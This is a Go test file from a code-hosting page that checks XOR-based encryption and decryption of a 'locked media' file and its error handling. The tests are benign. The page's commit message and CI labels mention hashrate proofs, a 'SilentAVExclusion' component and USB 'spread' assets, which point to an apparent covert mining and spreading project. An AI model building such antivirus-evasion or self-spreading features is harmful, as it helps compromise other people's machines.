Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Fix macOS agent cross-compile (SilentAVExclusion) and Calibrate E2E nav selector; expand tests and docs; refresh portable usb binary and spread/wiki assets.
96 lines
2.2 KiB
Go
96 lines
2.2 KiB
Go
package main
|
|
|
|
import (
|
|
"crypto/rand"
|
|
"encoding/base64"
|
|
"io"
|
|
"os"
|
|
"path/filepath"
|
|
"strings"
|
|
"testing"
|
|
)
|
|
|
|
func TestDecryptMediaFileRoundTrip(t *testing.T) {
|
|
dir := t.TempDir()
|
|
encPath := filepath.Join(dir, "movie.enc")
|
|
|
|
// 1. Generate key and encrypt data
|
|
key := make([]byte, 32)
|
|
if _, err := rand.Read(key); err != nil {
|
|
t.Fatal(err)
|
|
}
|
|
keyB64 := base64.StdEncoding.EncodeToString(key)
|
|
|
|
plainData := []byte("hello world video bytes 1234567890")
|
|
encFile, err := os.Create(encPath)
|
|
if err != nil {
|
|
t.Fatal(err)
|
|
}
|
|
|
|
// Write magic
|
|
if _, err := io.WriteString(encFile, mediaLockMagic); err != nil {
|
|
encFile.Close()
|
|
t.Fatal(err)
|
|
}
|
|
|
|
// XOR encrypt
|
|
ki := 0
|
|
encData := make([]byte, len(plainData))
|
|
for i := 0; i < len(plainData); i++ {
|
|
encData[i] = plainData[i] ^ key[ki%len(key)]
|
|
ki++
|
|
}
|
|
if _, err := encFile.Write(encData); err != nil {
|
|
encFile.Close()
|
|
t.Fatal(err)
|
|
}
|
|
encFile.Close()
|
|
|
|
// 2. Decrypt media file
|
|
decPath, cleanup, err := decryptMediaFile(encPath, keyB64, "decrypted.mp4")
|
|
if err != nil {
|
|
t.Fatalf("decryptMediaFile failed: %v", err)
|
|
}
|
|
defer cleanup()
|
|
|
|
// 3. Verify content
|
|
decData, err := os.ReadFile(decPath)
|
|
if err != nil {
|
|
t.Fatal(err)
|
|
}
|
|
|
|
if string(decData) != string(plainData) {
|
|
t.Fatalf("decrypted data mismatch: got %q, want %q", string(decData), string(plainData))
|
|
}
|
|
}
|
|
|
|
func TestDecryptMediaFileInvalidKey(t *testing.T) {
|
|
dir := t.TempDir()
|
|
encPath := filepath.Join(dir, "movie.enc")
|
|
if err := os.WriteFile(encPath, []byte("whatever"), 0644); err != nil {
|
|
t.Fatal(err)
|
|
}
|
|
|
|
// Test invalid base64 key
|
|
_, _, err := decryptMediaFile(encPath, "!!!invalid-b64!!!", "decrypted.mp4")
|
|
if err == nil || !strings.Contains(err.Error(), "invalid media key") {
|
|
t.Fatalf("expected invalid media key error, got %v", err)
|
|
}
|
|
}
|
|
|
|
func TestDecryptMediaFileInvalidMagic(t *testing.T) {
|
|
dir := t.TempDir()
|
|
encPath := filepath.Join(dir, "movie.enc")
|
|
if err := os.WriteFile(encPath, []byte("NOT_MAGIC_12345"), 0644); err != nil {
|
|
t.Fatal(err)
|
|
}
|
|
|
|
key := make([]byte, 32)
|
|
keyB64 := base64.StdEncoding.EncodeToString(key)
|
|
|
|
_, _, err := decryptMediaFile(encPath, keyB64, "decrypted.mp4")
|
|
if err == nil || !strings.Contains(err.Error(), "not a locked media file") {
|
|
t.Fatalf("expected invalid magic error, got %v", err)
|
|
}
|
|
}
|